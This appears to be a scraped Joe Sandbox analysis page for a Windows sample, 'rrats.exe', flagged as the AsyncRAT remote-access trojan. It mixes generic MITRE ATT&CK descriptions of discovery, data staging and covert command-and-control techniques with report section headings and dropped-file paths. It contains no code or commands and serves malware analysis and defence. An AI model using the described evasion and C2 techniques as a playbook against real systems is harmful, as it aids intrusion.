Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report rrats.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: AsyncRAT

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Persistence and Installation Behavior

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Operating System Destruction

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Explorer.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\explore.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\rrat.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\RarSFX0\a.bat

C:\Users\user\AppData\Local\Temp\RarSFX0\a.exe

C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0t1rvepx.vir.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cllnkhuo.2zm.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ffmqdsaj.0sx.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ixlgf3lw.rla.ps1

Windows Analysis Report
rrats.exe

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre